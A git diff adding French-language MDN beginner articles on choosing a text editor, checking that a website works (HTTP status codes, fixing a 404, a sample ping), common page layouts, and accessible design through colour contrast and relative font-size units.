Il faut donc tout d'abord déterminer le système d'exploitation que vous utilisez puis vérifier si l'éditeur de texte est supporté sur ce système. La plupart des éditeurs affichent sur leur site web s'ils fonctionnent sur Windows ou Mac ou Linux. Attention, certains éditeurs ne fonctionnent que sur certaines versions de systèmes d'exploitation. Si vous utilisez Ubuntu, préférez passer par la Logithèque Ubuntu. Par ailleurs, le monde Linux/UNIX est un environnement assez varié et chaque distribution fonctionne à sa façon, éventuellement avec un système de paquets qui peut être incompatible avec d'autres distributions. Dans ce cas, si vous souhaitez à tout prix utiliser un éditeur de texte d'une autre distribution, vous pourriez avoir à le recompiler depuis le code source (déconseillé aux âmes sensibles).

+ +

Quelles sont les technologies que je serai amené-e à manipuler ?

+ +

De façon générale, n'importe quel éditeur de texte peut ouvrir n'importe quel fichier texte. Cela fonctionne parfaitement pour prendre des notes toutes simples. En revanche, pour le développement web et la manipulation de fichiers {{Glossary("HTML")}}, {{Glossary("CSS")}}, et {{Glossary("JavaScript")}}, on peut être amené à manipuler des fichiers beaucoup plus grands et complexes. Simplifiez-vous la vie en choisissant un éditeur de texte qui s'adapte aux technologies que vous utilisez. De nombreux éditeurs de texte pourront vous aider avec des fonctionnalités comme :

+ +
    +
  • La coloration du code. Cela permet que les fichiers soient plus lisibles grâce à la coloration des mots-clés des langages utilisés.
    • +
  • L'auto-complétion. Cela vous permet de gagner du temps en complétant automatiquement les portions de codes (par exemple en fermant automatiquement les balises HTML, en suggérant des valeurs de propriétés CSS, etc.).
    • +
  • Les fragments (snippets) de code. Vous verrez, lorsque vous utiliserez HTML (ou d'autres technologies), que pour chaque document, certains éléments sont répétés à chaque fois. Le logiciel vous épargnera de nombreux copier-coller en insérant automatiquement le fragment à répéter et vous pourrez vous concentrer sur le contenu « utile » des documents.
    • +
+ +

La plupart des éditeurs de texte supporte désormais la coloration du code. Ce n'est pas toujours vrai pour les deux autres fonctionnalités. Pour le développement web, assurez-vous que votre éditeur de texte supporte la coloration syntaxique du code pour {{Glossary("HTML")}}, {{Glossary("CSS")}}, et {{Glossary("JavaScript")}}.

+ +

Quelles sont les fonctionnalités de base dont j'ai besoin ?

+ +

Cela dépendra avant tout de vos besoins et de ce que vous prévoyez de faire. Généralement, ces fonctionnalités s'avèrent plutôt utiles :

+ +
    +
  • Chercher et remplacer, dans un ou plusieurs documents à la fois, notamment grâce aux {{Glossary("Expressions rationnelles", "expressions rationnelles")}} ou à d'autres motifs de recherche
    • +
  • Aller rapidement à une ligne donnée
    • +
  • Pouvoir voir deux parties d'un même document simultanément (utile pour les longs documents)
    • +
  • Voir le HTML tel qu'il est rendu dans le navigateur
    • +
  • Sélectionner du texte simultanément sur plusieurs zones
    • +
  • Voir l'arborescence des répertoires et des fichiers de votre/vos projet(s)
    • +
  • Formater automatiquement votre code grâce à l'éditeur
    • +
  • Vérifier l'orthographe ou le code
    • +
+ +

Est-ce que je souhaite ajouter des fonctionnalités supplémentaires à mon éditeur de texte ?

+ +

Un éditeur de texte peut avoir peu de fonctionnalités de base mais être extensible pour s'adapter à vos besoins.

+ +

Si vous n'êtes pas certain-e des fonctionnalités dont vous avez besoin ou que votre éditeur préféré ne possède pas, de base, les fonctionnalités que vous recherchez, vous pouvez choisir un éditeur extensible. Les meilleurs éditeurs fournissent de nombreuses extensions (plugins) et d'outils pour installer ces plugins automatiquement. Ces extensions vous permettront d'ajouter de nouvelles fonctionnalités à votre éditeur.

+ +

Si vous appréciez avoir de nombreuses fonctionnalités et que tout ces plugins ralentissent votre éditeur, vous pouvez utiliser un environnement de développement intégré (ou IDE pour Integrated Development Environment en anglais). Un IDE fournit de nombreux outils au travers d'une même interface. Cela peut paraître un peu intimidant pour les débutants mais cela peut aussi être un bon choix si votre éditeur de texte vous semble trop limité pour vos besoins. Les IDE les plus connus sont :

+ + + +

Ai-je besoin d'aide ou d'un support pour utiliser mon éditeur de texte ?

+ +

Il est toujours bon de savoir s'il est possible d'avoir de l'aide lorsqu'on utilise un logiciel. En ce qui concerne les éditeurs de texte, ces deux points seront relativement importants :

+ +
    +
  1. Est-ce qu'il existe des documents à destination des utilisateurs ? (FAQ, manuel, aide en ligne)
    2. +
  2. Existe-t-il des ressources pour discuter avec les développeurs ou d'autres utilisateurs ? (forum, e-mail, IRC)
    3. +
+ +

N'hésitez pas à utiliser la documentation écrite disponible lorsque vous démarrez avec un éditeur. Vous pouvez également échanger avec les autres utilisateurs sur des forums ou listes de diffusion pour diagnostiquer les éventuels problèmes que vous rencontrez lors de l'installation ou de l'utilisation de l'éditeur.

+ +

Est-ce que l'apparence de mon éditeur est importante ?

+ +

Cela dépend de vos goûts. Certaines personnes apprécient pouvoir personnaliser tous les éléments de l'interface utilisateur, certains préfèrent une interface épurée avec peu de boutons, voire n'interagir qu'avec le clavier. Les éditeurs sont tous différents et vérifiez dès le début si votre éditeur se personnalise à votre convenance. Vous trouverez sans difficulté un éditeur dont vous pouvez changer le thème et les couleurs mais il sera préférable d'utiliser un IDE pour le personnaliser sous tous les angles.

+ +

Installation et paramétrage

+ +

L'installation d'un éditeur de texte est généralement simple. La méthode varie en fonction du système d'exploitation ou de la plateforme que vous utilisez mais dans tous les cas, cela ne devrait pas être trop complexe :

+ +
    +
  • Windows : Sur le site de l'éditeur ou sur le support d'installation, vous aurez un fichier .exe ou .msi. Il peut arriver que le logiciel soit empaqueté dans un format compressé tel que .zip, .7z, ou .rar. Dans ce cas, vous aurez besoin d'installer un programme supplémentaire pour extraire le contenu de l'archive compressée. Par défaut, Windows gère le format .zip.
    • +
  • Mac : Sur le site de l'éditeur ou sur le support d'installation, vous aurez un fichier .dmg. Vous pouvez également trouver certains éditeurs sur l'Apple Store, ce qui simplifie le processus d'installation.
    • +
  • Linux : Les distributions les plus populaires vous permettent d'utiliser un gestionnaire de paquets avec une interface graphique (Logithèque Ubuntu, mintInstall, Logithèque GNOME, etc.). Vous trouverez généralement un fichier .deb ou .rpm qui correspond au logiciel empaqueté. Dans la plupart des cas, vous pourrez également le dépôt de paquets de votre distribution. Dans le pire des cas, il vous faudra compiler l'éditeur à partir du code source. Prenez le temps de vérifier les instructions d'installations et les compatibilités sur le site web de l'éditeur.
    • +
+ +

Lorsque vous installez un nouvel éditeur de texte, il est probable que votre système d'exploitation continue à ouvrir les fichiers texte avec l'éditeur par défaut pour chaque format si vous ne changez pas les associations de fichiers. Ces instructions vous aideront à modifier les associations sur chaque système d'exploitation. De cette façon, vous pourrez ouvrir les fichiers dans votre éditeur de texte favori en double-cliquant sur les fichiers :

+ + + +

Prochaines étapes

+ +

Maintenant que vous avez un bon éditeur de texte, vous pouvez prendre le temps de finaliser votre environnement de travail ou vous pouvez aussi démarrer tout de suite et écrire votre première page web.

diff --git a/files/fr/learn/common_questions/checking_that_your_web_site_is_working_properly/index.html b/files/fr/learn/common_questions/checking_that_your_web_site_is_working_properly/index.html new file mode 100644 index 0000000000..317135bcf5 --- /dev/null +++ b/files/fr/learn/common_questions/checking_that_your_web_site_is_working_properly/index.html @@ -0,0 +1,178 @@ +--- +title: Tester le bon fonctionnement de votre site web +slug: Apprendre/Tester_le_bon_fonctionnement_de_votre_site_web +tags: + - Beginner + - Document + - Guide + - NeedsActiveLearning + - Web + - Web Development + - WebMechanics +translation_of: Learn/Common_questions/Checking_that_your_web_site_is_working_properly +--- +
+

Dans cet article, nous présenterons les différentes étapes permettant de diagnostiquer les problèmes d'un site web ainsi que les mesures à prendre pour corriger certains de ces problèmes.

+
+ + + + + + + + + + + + +
Prérequis :Vous devez au préalable savoir comment transférer des fichiers vers un serveur web.
Objectifs :Apprendre à diagnostiquer et à résoudre certains problèmes simples qui peuvent se produire lors du développement ou de la maintenance d'un site web.
+ +

Vous avez donc publié votre site web en ligne. Bien. Mais êtes-vous sûr-e que celui-ci fonctionne correctement ?

+ +

Un serveur web distant se comportera différemment d'un serveur local. Mieux vaut donc tester le bon fonctionnement d'un site web une fois qu'il est en ligne. Des problèmes « étonnants » peuvent survenir : les images peuvent ne pas apparaître, des pages ne se chargeront pas ou se chargeront lentement, etc. La plupart du temps, ce n'est pas un problème critique : il s'agit de corriger une erreur ou de paramétrer correctement la configuration du serveur hébergé.

+ +

Voyons donc comment diagnostiquer et résoudre ces problèmes.

+ +

Pédagogie active

+ +

Il n'existe pas encore de matériau interactif pour cet article. N'hésitez pas à contribuer !

+ +

Aller plus loin

+ +

Tester avec votre navigateur

+ +

La première chose à faire pour tester une page donnée est d'ouvrir votre navigateur et d'aller sur cette page.

+ +

Où est passée l'image ?

+ +

Allons sur notre site web : http://demozilla.hebergeurexemple.net/. L'image n'apparaît pas alors qu'il y aurait du y en avoir une !

+ +

Oops, the ‘unicorn’ image is missing

+ +

Ouvrons les outils de développement et plus particulièrement ceux qui portent sur le réseau (Outils ➤ Développement Web ➤ Réseau) puis rechargeons la page :

+ +

The image has a 404 error

+ +

Le problème c'est ce 404 qu'on voit en bas. 404 signifie que la ressource n'a pas été trouvée et c'est pour ça que nous ne voyons pas l'image.

+ +

Les status HTTP

+ +

Le serveur répond avec une message de statut à chaque fois qu'il reçoit une requête. Voici les statuts les plus communs ainsi que leur code :

+ +
+
200 : OK
+
La ressource demandée a bien été transmise.
+
301 : Déplacée de façon permanente (Moved permanently)
+
La ressource a été déplacée à un nouvel emplacement. Vous ne verrez cette erreur que rarement mais elle est utile à connaître car les moteurs de recherchee utilise cette information pour mettre à jour leurs index.
+
304 : Non modifiée (Not modified)
+
La ressource n'a pas été modifiée depuis la dernière fois qu'elle a été demandée. Le navigateur affiche alors la version qu'il a dans son cache afin de répondre plus rapidement et d'économiser de la bande passante.
+
403 : Accès interdit (Forbidden)
+
Vous n'êtes pas autorisé-e à afficher cette ressource. Généralement, cela est dû à un problème de configuration (par exemple votre hébergeur ne vous a pas donné les droits sur un répertoire).
+
404 : Non trouvée (Not found)
+
Le message est plutôt explicite, nous en discuterons dans la suite de cet article.
+
500 : Erreur interne du serveur (Internal server error)
+
Une erreur s'est produite sur le serveur. Cela peut par exemple être dû à une erreur de langage côté serveur ({{Glossary("PHP")}}, .Net, etc.) ou à un problème de configuration. Généralement, mieux vaut voir avec l'équipe support de l'hébergeur.
+
503 : Service indisponible (Service unavailable)
+
Cela est généralement lié à une surcharge temporaire du serveur. Réessayez dans quelques temps.
+
+ +
    +
+ +

Lorsqu'on débute avec une site simple, on rencontre le plus souvent des codes 200, 304, 403, et 404.

+ +

Corriger l'erreur 404

+ +

Où est donc le problème ?

+ +

Le list of images in our project

+ +

À premièrve vue, l'image semble être au bon endroit mais l'outil d'analyse réseau affiche un code 404 renvoyé par le serveur. Le problème ici est une coquille dans le code de la page HTML licornes.png plutôt que licorne.png. En corrigeant cette erreur avec l'attribut src

+ +

Deleting the ‘s’

+ +

Puis en sauvegardant et en envoyant le fichier vers le serveur, on peut ensuite recharger la page dans le navigateur :

+ +

The image loads corectly in the browser

+ +

Et voilà, revenons sur les status {{Glossary("HTTP")}} :

+ +
    +
  • 200 apparaît pour toutes les ressources ici /, basics.css et licorne.png : cela signifie que tous les éléments ont été rechargés.
    • +
  • 304 : Vous pouvez obtenir un code pour basic.css, cela signifie que le fichier n'a pas été modifié depuis la dernière requête. Le navigateur utilise alors la version du fichier qu'il a en cache plutôt que d'en demander un nouvel exemplaire.
    • +
+ +

Nous avons donc corrigé l'erreur tout en en apprenant un peu plus sur les statuts HTTP !

+ +

Les erreurs fréquentes

+ +

Les erreurs les plus fréquentes sont les suivantes.

+ +

Des coquilles dans l'adresse

+ +

Dans la capture suivante, nous avons voulu accéder à http://demozilla.hebergeurexemple.net/ mais nous avons oublié un « m » :

+ +

Address unreachable

+ +

L'adresse est introuvable… en effet.

+ +

Les erreurs 404

+ +

La plupart du temps, ces erreurs sont dues à des fautes d'orthographes mais parfois cela peut être la faute d'un fichier qui n'a pas été transféré ou d'une connexion réseau instable lors du transfert. Commencez par vérifier l'orthographe des noms et des chemins de fichiers. Si le problème persiste, transférez à nouveau vos fichiers.

+ +

Les erreurs JavaScript

+ +

Quelqu'un (peut-être vous) peut avoir ajouté un script à la page et avoir fait une erreur. Cela n'empêchera pas la page de charger mais cela pourra avoir des conséquences selon le rôle du script.

+ +

Pour voir ces erreurs, ouvrez la console (Outils ➤ Développement web ➤ Console web) and puis rechargez la page:

+ +

A Javascript error is shown in the Console

+ +

Ici, nous voyons comment détecter une erreur, la console affiche sur quoi porte l'erreur et éventuellement comment la résoudre (nous verrons JavaScript dans une autre série d'articles).

+ +

D'autres points de contrôles

+ +

Nous avons vu quelques points simples pour s'assurer qu'un site fonctionne correctement. Mais une page peut fonctionner correctement sans fonctionner « parfaitement ».

+ +

Qu'en est-il de la performance ?

+ +

Est-ce que la page charge suffisamment vite ? Pour le savoir, vous pouvez utiliser des outils comme webpagetest.org ou des modules complémentaires comme YSlow qui peuvent fournir des indications intéressantes :

+ +

Yslow diagnostics

+ +

Les notes vont de A à F. La page actuelle est pluôt légère et respecte donc la plupart des critères. On voit ici qu'il aurait été préférable d'utiliser un {{Glossary("CDN")}}. Dans notre cas, cette remarque n'est pas très critique car notre site web n'est pas un site à forte audience qui sert des milliers d'images.

+ +

Est-ce que le serveur réagit suffisamment vite ?

+ +

ping est une commande plutôt utile pour tester si le serveur rattaché à votre nom de domaine répond correctement :

+ +
$ ping mozilla.org
+PING mozilla.org (63.245.215.20): 56 data bytes
+64 bytes from 63.245.215.20: icmp_seq=0 ttl=44 time=148.741 ms
+64 bytes from 63.245.215.20: icmp_seq=1 ttl=44 time=148.541 ms
+64 bytes from 63.245.215.20: icmp_seq=2 ttl=44 time=148.734 ms
+64 bytes from 63.245.215.20: icmp_seq=3 ttl=44 time=147.857 ms
+^C
+--- mozilla.org ping statistics ---
+4 packets transmitted, 4 packets received, 0.0% packet loss
+round-trip min/avg/max/stddev = 147.857/148.468/148.741/0.362 ms
+ +

Si vous utilisez Windows, le ping s'arrêtera après quelques envois mais si vous utilisez Mac ou Linux, mémorisez le raccourci Ctrl+C pour arrêter l'envoi des pings.  Ctrl+C envoie un signal d'interruption qui arrêtera l'exécution du programme. Si vous n'utilisez pas Ctrl+C, le programme ping contactera le serveur indéfiniment.

+ +

Une checklist de base

+ +
    +
  • Vérifier les erreurs 404
    • +
  • S'assurer que chaque page web fonctionne comme attenu
    • +
  • Vérifier le site web avec plusieurs navigateurs pour s'assurer qu'il s'affiche de façon cohérente sur ces différents navigateurs
    • +
+ +

Prochaines étapes

+ +

Félicitations ! Votre site est en ligne, fonctionne correctement et tout le monde peut le visiter. C'est une belle réussite ! Vous pouvez maintenant approfondir d'autres sujets.

+ + diff --git a/files/fr/learn/common_questions/common_web_layouts/index.html b/files/fr/learn/common_questions/common_web_layouts/index.html new file mode 100644 index 0000000000..0c50cec44c --- /dev/null +++ b/files/fr/learn/common_questions/common_web_layouts/index.html @@ -0,0 +1,126 @@ +--- +title: Conception d'une page web +slug: Apprendre/Concevoir_page_web +tags: + - Beginner + - CSS + - Design + - HTML + - NeedsActiveLearning +translation_of: Learn/Common_questions/Common_web_layouts +--- +
{{IncludeSubnav("/fr/Apprendre")}}
+
+

Lorsque vous concevez des pages pour votre site Internet, il est utile d'avoir en tête les modèles de mise en page les plus fréquemment utilisés.

+
+ + + + + + + + + + + + +
Prérequis :Assurez-vous d'avoir d'abord identifié ce que vous souhaitez accomplir avec votre projet web.
Objectif :Apprendre où (et comment !) disposer des éléments dans vos pages web.
+ +

Nous avons une bonne raison de vous initier à la conception web. Vous commencez avec une page vierge, puis vous devez choisir entre tellement de possibilités… Si vous avez peu d'expérience, la page blanche initiale pourrait vous paraître intimidante. Comme nous avons plus de 25 ans d'expérience dans le domaine, nous allons vous présenter quelques règles générales qui pourront vous aider dans la conception de votre site web.

+ +

Même aujourd'hui, malgré toute l'attention portée aux appareils mobiles, la majorité des pages web contient les sections suivantes :

+ +
+
En-tête
+
Visible au haut de chaque page du site, cette section comprend des informations pertinentes pour l'ensemble des pages (par exemple, le nom du site ou un logo) et un menu de navigation convivial.
+
Contenu principal
+
Cette section occupe la plus grande partie de l'espace et contient du contenu unique, relatif à la page consultée.
+
Contenu secondaire
+
Il peut s'agir : +
    +
  1. d'informations complémentaires au contenu principal ;
    2. +
  2. d'informations partagées entre un sous-ensemble de pages ;
    3. +
  3. d'un moyen alternatif de navigation. En fait, ce peut être un peu tout ce qui est superflu par rapport au contenu principal.
    4. +
+
+
Bas de page
+
Visible au bas de chaque page du site, cette section contient, tout comme l'en-tête, des informations pertinentes pour l'ensemble des pages. On peut, entre autres, y trouver les mentions légales et les informations nécessaires pour contacter les responsables du site.
+
+ +

Ces quatre sections sont généralement présentes, mais elles peuvent être disposées de plusieurs façons distinctes. Voici quelques exemples de dispositions possibles (où 1 représente l'entête ; 2,  le bas de page ; A, le contenu principal ; et B1, B2, le contenu secondaire) :

+ +

Dispostion à une colonne : particulièrement utile pour l'affichage sur téléphone mobile, car cette disposition évite d'encombrer les petits écrans.

+ +

Example of a 1 column layout: Main on top and asides stacked beneath it.

+ +

Disposition à deux colonnes : souvent utilisée pour l'affichage sur tablettes, car elles disposent d'un écran de taille moyenne.

+ +

 Example of a basic 2 column layout: One aside on the left column, and main on the right column. Example of a basic 2 column layout: One aside on the right column, and main on the left column.

+ +

Disposition à trois colonnes : adaptée uniquement pour les ordinateurs de bureau ayant un grand écran (et encore, cela est relatif, car plusieurs utilisateurs d'ordinateurs de bureau préférent visionner les sites dans des fenêtres de taille réduite plutôt qu'en mode plein écran).

+ +

Example of a basic 3 column layout: Aside on the left and right column, Main on the middle column. Another example of a 3 column layout: Aside side by side on the left, Main on the right column. Another example of a 3 column layout: Aside side by side on the right, Main on the left column.

+ +

Il est aussi possible de mélanger tous ces modèles classiques :

+ +

Example of mixed layout: Main on top and asides beneath it side by side. Example of a mixed layout: Main on the left column and asides stack on top of each other on the right column Example of a mixed layout: one aside on the left column and main in the right column with a aside beneath main. Example of a mixed layout: Main on the left of the first row and one aside on the right of that same row, a second aside convering the whole second row.…

+ +

Sachez que ce ne sont que des exemples et que vous êtes libre de disposer les sections à votre façon. Vous remarquerez toutefois que l'en-tête demeure toujours en haut et le bas de page, en bas, peu importe les autres déplacements du contenu. Aussi, comme la section la plus importante est celle du contenu principal, assurez-vous d'y laisser le plus de place possible.

+ +

Ce sont là des règles générales dont vous pouvez vous inspirer. Bien entendu, il existera toujours des exceptions aux règles et des mises en page plus complexes. Nous discuterons d'ailleurs, dans d'autres articles, de la création de sites webs adaptatifs (c'est-à-dire qui s'ajustent à la taille de l'écran) et de sites utilisant plus d'un modèle de mise en page selon la page consultée. Pour l'instant, il serait cependant mieux de garder une mise en page uniforme sur l'ensemble de votre site.

+ +

Pédagogie active

+ +

Aucun exercice pratique n'est disponible actuellement. S.V.P., pensez à contribuer !

+ +

Aller plus loin

+ +

Regardons maintenant quelques exemples concrets tirés de sites connus.

+ +

Disposition à une colonne

+ +

Invision : un exemple de disposition classique à une colonne où toute l'information est présentée de façon linéaire sur une page.

+ +

Example of a 1 column layout in the wild        1 column layout with header, main content, a stack of aside contents and a footer

+ +

Un style simple et direct.  N'oubliez pas, toutefois, que certains utilisateurs navigeront à partir d'un ordinateur de bureau et qu'il faut donc s'assurer que le contenu soit accessible sur cette plateforme également.

+ +

Disposition à deux colonnes

+ +

Abduzeedo, un blog à disposition simple. En règle générale, les blogs comprennent deux colonnes : une large pour le contenu principal et une plus étroite pour les à-côtés (comme des widgets, les menus de navigation et les publicités).

+ +

Example of a 2 column layout for a blog        A 2 column layout with the main content on the left column

+ +

Dans cet exemple, regardez bien l'image (B1) située directement sous l'en-tête. L'image est en rapport avec le contenu principal, mais n'est pas essentielle à sa compréhension. Nous pourrions donc considérer que l'image fait partie du contenu principal ou bien qu'il s'agit d'un à-côté (contenu secondaire).  La distinction importe peu. Ce qui est vraiment important, c'est qu'un élément placé directement sous l'en-tête devrait soit faire partie du contenu principal, soit y être directement relié.

+ +

Attention, c'est un piège !

+ +

MICA. Cet exemple est un peu plus embêtant. On dirait une disposition à trois colonnes…

+ +

Example of a false 3 columns layout        It looks like a 3 columns layout but actually, the aside content is floating around.

+ +

…mais non ! B1 et B2 flottent autour du contenu principal. Rappelez-vousce mot-clé : "flotte" (float en anglais) - nous y reviendrons lorsque vous commencerez à apprendre le {{Glossary("CSS")}}.

+ +

Pourquoi êtes-vous porté à penser qu'il s'agit d'une disposition à trois colonnes ? Eh bien, pour trois raisons : parce que l'image en haut à droite est en forme de L, parce que B1 semble être une colonne soutenant un contenu principal décalé vers la gauche et parce le "M" et le "I" du logo de  MICA forment une ligne de force verticale.

+ +

Il s'agit ici d'un bon exemple d'une mise en page classique qui a été rehaussée avec un peu de créativité. Les dispositions simples sont plus faciles à mettre en place, mais ne devraient pas restreindre votre créativité.

+ +

Une disposition en apparence beaucoup plus complexe

+ +

L'Opéra de Paris.

+ +

An example of a tricky layout.        This is a 2 column layout but the header is overlaping the main content.

+ +

Il s'agit à la base d'une disposition à deux colonnes, mais vous noterez quelques ajustements ici et là qui viennent rompre la linéarité de la disposition. On remarque surtout que l'en-tête est superposée à l'image du contenu principal. En raison de la courbe du menu de navigation qui rappelle celle au bas de l'image principale, l'en-tête et l'image semblent former un seul élément uni alors qu'il s'agit en fait d'éléments techniquement distincts.  L'exemple de l'Opéra de Paris semble plus complexe à réaliser que celui de MICA, mais est en réalité plus facile à mettre en place (la facilité étant bien entendu, un concept plutôt relatif).

+ +

Comme vous pouvez le voir, il est possible de créer des sites sensationnels avec des mises en page somme toute assez simples. Jetez un coup d'œil à vos sites préférés. Pouvez-vous repérer l'en-tête, le bas de page, le contenu principal et le contenu secondaire ? Cet exercice pourra vous fournir de l'inspiration pour vos propres réalisations et vous aider à distinguer les dispositions qui fonctionnent bien de celles qui posent problème.

+ +

Prochaines étapes

+ +

Deux options s'offrent maintenant à vous :

+ + diff --git a/files/fr/learn/common_questions/design_for_all_types_of_users/index.html b/files/fr/learn/common_questions/design_for_all_types_of_users/index.html new file mode 100644 index 0000000000..8d6ae0ad6a --- /dev/null +++ b/files/fr/learn/common_questions/design_for_all_types_of_users/index.html @@ -0,0 +1,247 @@ +--- +title: Concevoir un site pour tous les types d'utilisateurs +slug: Apprendre/Concevoir_site_tous_types_utilisateurs +tags: + - Accessibility + - Beginner + - Design + - Mobile + - NeedsActiveLearning +translation_of: Learn/Common_questions/Design_for_all_types_of_users +--- +
{{IncludeSubnav("/fr/Apprendre")}}
+
+

Cet article aborde les concepts de bases pour vous aider à construire des sites web accessibles à tous.

+
+ + + + + + + + + + + + +
Prérequis :Avoir lu Qu'est-ce que l'accessibilité ? (l'accessibilité n'est pas approfondie en détails ici) et s'être familiarisé-e avec l'anatomie d'une page web.
Objectifs :Être en mesure de concevoir un site pour tous, quelles que soient les contraintes techniques ou celles de handicap. Cet article liste les points les plus importants et facile à mettre en œuvre pour atteindre un tel objectif.
+ +

Lors de la construction d'un site, il faut entre autres garder à l'esprit qu'un site doit être accessible à tous, quelles que soient les contraintes de handicap, les contraintes techniques, la culture, le lieu depuis lequel le site est consulté, etc.

+ +

Pédagogie active

+ +

Il n'y a, pour le moment, pas de matériau pour la pédagogie active. Cependant, vous pouvez contribuer.

+ +

Aller plus loin

+ +

Le contraste des couleurs

+ +

Afin que le texte soit lisible, il faut utiliser une couleur de texte qui contraste suffisamment avec la couleur utilisée en arrière plan. Ce contraste est important pour que les personnes atteintes d'une déficience visuelle puissent lire le texte, il en va de même pour les personnes qui visitent le site et le lisent sur un écran de téléphone dans une rue au soleil.

+ +

Le {{Glossary("W3C")}} définit ce qui peut être une bonne association de couleur grâce à un algorithme qui calcule le ratio de luminosité entre l'arrière plan et le premier plan. Ce calcul peut être un peu compliqué mais est utile pour indiquer la qualité du contraste.

+ +

Pour contrôler le contraste, vous pouvez télécharger et installer l'analyseur de contraste du Groupe Paciello.

+ +
+

Note : Sinon, vous pouvez également trouver différents vérificateurs de contrastes disponibles en ligne, par exemple celui de WebAIM : Color Contrast Checker. Il est préférable d'utiliser un vérificateur qui fonctionne en local sur votre ordinateur car généralement, ceux-ci ont également une pipette qui permet de prélever la valeur d'une couleur sur tout l'écran.

+
+ +

Par exemple, testons les couleurs de cette page et voyons ce que cela donne avec l'outil d'analyse de contraste :

+ +

Colour contrast on this page: excellent!

+ +

Le ratio de contraste pour la luminosité entre le texte est l'arrière plan est de 8.30:1, ce qui est mieux que le minimum recommandé par le standard (4.5:1). Avec cette valeur, de nombreuses personnes devraient être en mesure de lire le texte..

+ +

Taille de police (ou taille de fonte)

+ +

La taille de la police utilisée dans un site web peut être définie en unités absolues ou en unités relatives.

+ +

Les unités absolues

+ +

Les unités absolues ne sont pas calculées proportionnellement entre elles mais font plutôt référence à une valeur « dure », la plupart du temps, elles sont exprimées en pixels (px). Par exemple, si, dans votre fichier CSS, vous déclarez la règle suivante :

+ +
body { font-size:16px; }
+ +

… vous indiquez au navigateur que, quoi qu'il arrive, la taille de la police doit être 16 pixels. Les navigateurs récents interprèteront cette règle de la façon suivante : « utiliser une police sur 16 pixels quand l'utilisateur a un niveau de zoom de 100% ».

+ +

Cependant, pendant plusieurs années, Internet Explorer (jusqu'à Internet Explorer 8) affichait dans tous les cas 16 pixels. Le zoom n'avait aucun effet.

+ +

Les unités relatives

+ +

Également appelées unités proportionnelles, les unités relatives sont calculées relativement à l'élément parent. Les unités relatives sont plus pratiques en termes d'accessibilité car elles permettent de respecter plus simplement les paramètres choisis par l'utilisateur.

+ +

Les unités relatives sont exprimées en em, % et rem:

+ +
+
Les tailles exprimées en pourcentages : %
+
Cette unité permet d'indiquer au navigateur que la taille de police d'un élément doit représenter N% de la taille de police de l'élément précédent. Si aucun élément parent n'est trouvé, c'est la taille de police par défaut du navigateur qui est utilisée comme base de calcul (généralement, cette dernière est équivalente à 16 pixels).
+
Les tailles exprimées en em : em
+
Cette unité est calculée de la même façon que les pourcentages sauf qu'ici, il s'agit d'un ratio par rapport à 1 et non d'un ratio par rapport à 100. L'unité est appelée « em » car elle correspond à la largeur d'un « M » majuscule (un « M » tient approximativement dans un carré dont on dira que la largeur vaut 1 em).
+
Les tailles exprimées en rem : rem
+
Cette unité est proportionnelle à la taille de police de l'élément racine et est exprimée en ratio par rapport à 1, comme avec em.
+
+ +

Imaginons que la taille de police de base soit 16px et qu'on ait un titre principal (h1) dont la taille soit équivalente à 32px et qu'au sein de ce <h1> on ait un élément span avec une classe subheading, celui-ci devant également être affiché avec la taille par défaut (généralement 16px).

+ +

Voici le code HTML qu'on utilisera :

+ +
<!DOCTYPE html>
+<html lang="fr">
+<head>
+    <meta charset="UTF-8">
+    <title>Tests sur les tailles de police</title>
+</head>
+<body>
+
+    <h1>Voici notre titre principal
+        <span class="subheading">Et voici notre sous-titre</span>
+    </h1>
+
+</body>
+</html>
+ +

Un fichier CSS utilisant des unités exprimées en pourcentages pourrait être :

+ +
body { font-size:100%; }
+/* 100% de la taille de base du navigateur, en
+général, le texte sera affiché sur 16 pixels */
+
+h1 { font-size:200%; }
+/* Deux fois la taille du corps de la page,
+soit 32 pixels */
+
+span.subheading { font-size:50%; }
+/* La moitié du h1,soit 16 pixels, ce qui revient
+à la taille de base originelle */
+
+ +

Voici le fichier CSS équivalent, avec des valeurs exprimées en ems :

+ +
body { font-size:1em; }
+/* 1em = 100% de la taille de base du navigateur
+dans la plupart des cas ça correspondra à 16 pixels */
+
+h1 { font-size:2em; }
+/* deux fois la taille du coros, soit 32 pixels */
+
+span.subheading { font-size:0.5em; }
+/* la moitié de la taille de h1, 16 pixels
+ce qui revient à taille originelle */
+ +

Comme vous pouvez l'observer, cela devient rapidement complexe lorsqu'il faut se souvenir de la taille du parent du parent et du parent du parent du parent, etc.

+ +

C'est là qu'interviennent les rem. Cette unité est relative à la taille de l'élément racine de la page et non au parent de l'élément. Le fichier CSS correspond peut ainsi être réécrit de cette façon :

+ +
body { font-size:1em; }
+/* 1em = 100% de la taille de base du navigateur,
+soit 16 pixels dans la plupart des cas */
+
+h1 { font-size:2rem; }
+/* deux fois la taille du corps soit 32 pixels */
+
+span.subheading { font-size:1rem; }
+/* la taille originale */
+ +

C'est plus facile de cette façon, n'est-ce pas ? Cela fonctionne, à partir d'Internet Explorer 9 et dans n'importe quel autre navigateur récent, n'hésitez pas à l'utiliser.

+ +
+

Note : Vous remarquerez qu'Opera Mini ne supporte pas les tailles de police exprimées en rem, il utilisera sa propre taille de police.

+
+ +

Pourquoi aurais-je besoin d'utiliser des unités proportionnelles ?

+ +

Pour plusieurs raisons et notamment parce que vous ne connaissez pas le moment où le navigateur refusera de suivre le zoom pour une police exprimée en pixels. Si vous analysez les statistiques de visites, vous verrez que certaines personnes utilisent toujours d'anciens navigateurs, les unités relatives sont plus simples à gérer pour ceux-ci.

+ +

Il est généralement conseillé de :

+ +
    +
  • Décrire les tailles de police en unité rem, cela ne posera aucun problème à la plupart des navigateurs ;
    • +
  • Laisser les anciens navigateurs afficher les polices avec leurs moteurs internes. Les moteurs des navigateurs ignorent les propriétés ou valeurs CSS qu'ils ne reconnaissent pas et/ou qu'ils ne peuvent pas gérer. Votre site web est donc toujours utilisable, même s'il ne respecte pas nécessairement le design que vous souhaitiez. De toute façon et inexorablement, les anciens navigateurs seront de moins en moins utilisés.
    • +
+ +
+

Note : Votre utilisation de ces unités pourra varier. S'il est nécessaire pour vous de gérer les anciens navigateurs, vous aurez besoin d'utiliser des ems, quitte à faire un peu de mathématique en chemin.

+
+ +

Largeur de ligne

+ +

Il y a depuis toujours sur le Web un débat sur la longueur que doit occuper une ligne. Mais cela n'est pas apparu avec le Web. Déjà avec les journaux, les imprimeurs avaient réalisé que si les lignes étaient trop longues, les lecteurs avaient du mal à suivre chaque ligne du début à la fin. Une solution fut trouvée à ce problème : organiser le texte en colonnes.

+ +

